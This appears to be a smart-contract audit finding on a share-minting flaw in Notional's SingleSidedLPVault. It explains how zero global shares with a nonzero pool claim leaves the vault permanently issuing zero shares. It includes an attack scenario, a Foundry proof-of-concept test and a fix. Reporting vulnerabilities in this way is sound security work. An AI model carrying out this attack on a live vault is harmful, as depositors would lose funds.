Pet Rusty Bobcat

high

# SingleSidedLPVault 's minting shares mechanism might make vaults broken

## Summary
There is a special case where the amount of vault share minted is always 0.
## Vulnerability Detail
The amount of vault share minted are calculated as follow:
```solidity
        if (state.totalPoolClaim == 0) {
            // Vault Shares are in 8 decimal precision
            vaultShares = (lpTokens * uint256(Constants.INTERNAL_TOKEN_PRECISION)) / POOL_PRECISION();
        } else {
            //@audit missing case when totalVaultSharesGlobal = 0 and totalPoolClaim != 0
          >>>  vaultShares = (lpTokens * state.totalVaultSharesGlobal) / state.totalPoolClaim;
        }
```
 Notice that if  ```state.totalVautSharesGlobal```=0  and  ```state.totalPoolClaim``` != 0, the ```vaultShares``` will be 0, and the vault is stuck in this state forever. That implies users who deposit token after this will just lose their money.

Some scenarios can cause vault to enter this state.
Consider this one:
- Vault is deployed
- Attacker (the first user) deposits token into the vault, wait few seconds and then withdraw it. The point is to trigger reward from 3rd party protocols (Even 1s is enough to trigger some reward, there is a POC below), and make the vault's total share becomes 0 again.
- Bot comes to claim reward and then reinvests reward token, getting  pool token in return. Now total vault share is 0, while total pool token is not, making vault enter broken state.

Although this scenario might fail when a second user deposits into the vault before the bot claims the reward, it is very likely to succeed if the bot's reinvestment cycle is short.

Another scenario is when vault owner locks (emergency exit) the vault when global vault share is 0 (after some users deposit and withdraw) and then unlocks/restores the vault.

POC: (please add it under wstETH_cbETH_rETH.t.sol, otherwise bot's reinvestment setup might not work)
```solidity
 function test_myTest() public {
        address account = makeAddr("account");
        uint256 maturity = maturities[0];
        address reward = makeAddr("reward");

        //User mints vault share
        uint256 vaultShares = enterVaultBypass(
            account, maxDeposit, maturity, getDepositParams(0, 0)
        );

        bytes32 role = v().REWARD_REINVESTMENT_ROLE();
        vm.prank(NOTIONAL.owner());
        v().grantRole(role, reward);

        skip(1); //skip to accrue reward

        // Initial pool's reward token should be 0
        assertEq(rewardToken.balanceOf(address(vault)), 0); 

        //User redeem vault share
        exitVaultBypass(account, vaultShares, maturity, getRedeemParams(0, 0));
        

        // Bot claims reward
        vm.prank(reward);
        v().claimRewardTokens();
        
        // vault's reward token balance should increase
        assertGt(rewardToken.balanceOf(address(vault)), 0); 
        

        // Setting up for bot to reinvest reward
        uint256 rewardBalance = rewardToken.balanceOf(address(vault));
        uint256 primaryIndex = v().getStrategyVaultInfo().singleSidedTokenIndex;
        SingleSidedRewardTradeParams[] memory t = new SingleSidedRewardTradeParams[](numTokens);
        for (uint256 i; i < t.length; i++) {
            t[i].sellToken = address(rewardToken);
            if (i == primaryIndex) {
                t[i].buyToken = address(primaryBorrowToken);
                t[i].amount = rewardBalance;
                t[i].tradeParams.dexId = uint16(DexId.BALANCER_V2);
                t[i].tradeParams.tradeType = TradeType.EXACT_IN_SINGLE;
                t[i].tradeParams.oracleSlippagePercentOrLimit = 0;
                // This is some crazy pool with wstETH and BAL in it
                t[i].tradeParams.exchangeData = abi.encode(
                    BalancerV2Adapter.SingleSwapData(
                        0x49b2de7d214070893c038299a57bac5acb8b8a340001000000000000000004be
                    )
                );
            }
        }

        vm.prank(NOTIONAL.owner());
        TRADING_MODULE.setTokenPermissions(
            address(vault),
            address(rewardToken),
            ITradingModule.TokenPermissions({ allowSell: true, dexFlags: 16, tradeTypeFlags: 15})
        );
        
        // Bot reinvests reward
        vm.prank(reward);
        (address r, uint256 amountSold, uint256 poolClaim) = v().reinvestReward(t, 0);
        

        // Minting shares again to check if vault is broken
        uint256 resultVaultShares = enterVaultBypass(
                account, maxDeposit, maturity, getDepositParams(0, 0)
        );

        uint256 resultVaultShares2 = enterVaultBypass(
                account, maxDeposit / 2, maturity, getDepositParams(0, 0)
        );

        uint256 resultVaultShares3 = enterVaultBypass(
                account, maxDeposit / 3, maturity, getDepositParams(0, 0)
        );
        
        // Shares received is always 0 regardless
        assertEq(resultVaultShares, 0);
        assertEq(resultVaultShares2, 0);
        assertEq(resultVaultShares3, 0);

    }
```
![proof](https://github.com/sherlock-audit/2023-10-notional-sota1994/assets/57989625/9656bc6d-afc9-45f5-b865-be69787d057c)


## Impact
- Break vault's core functionalities irreversibly.  
- Cause loss of funds for users.
## Code Snippet
https://github.com/sherlock-audit/2023-10-notional/blob/main/leveraged-vaults/contracts/vaults/common/SingleSidedLPVaultBase.sol#L231-L236

## Tool used

Manual Review

## Recommendation
Consider this chage:
```solidity
        if (state.totalPoolClaim == 0 ||  state.totalVaultSharesGlobal == 0 ) {
            // Vault Shares are in 8 decimal precision
            vaultShares = (lpTokens * uint256(Constants.INTERNAL_TOKEN_PRECISION)) / POOL_PRECISION();
        } else {
            vaultShares = (lpTokens * state.totalVaultSharesGlobal) / state.totalPoolClaim;
        }
```
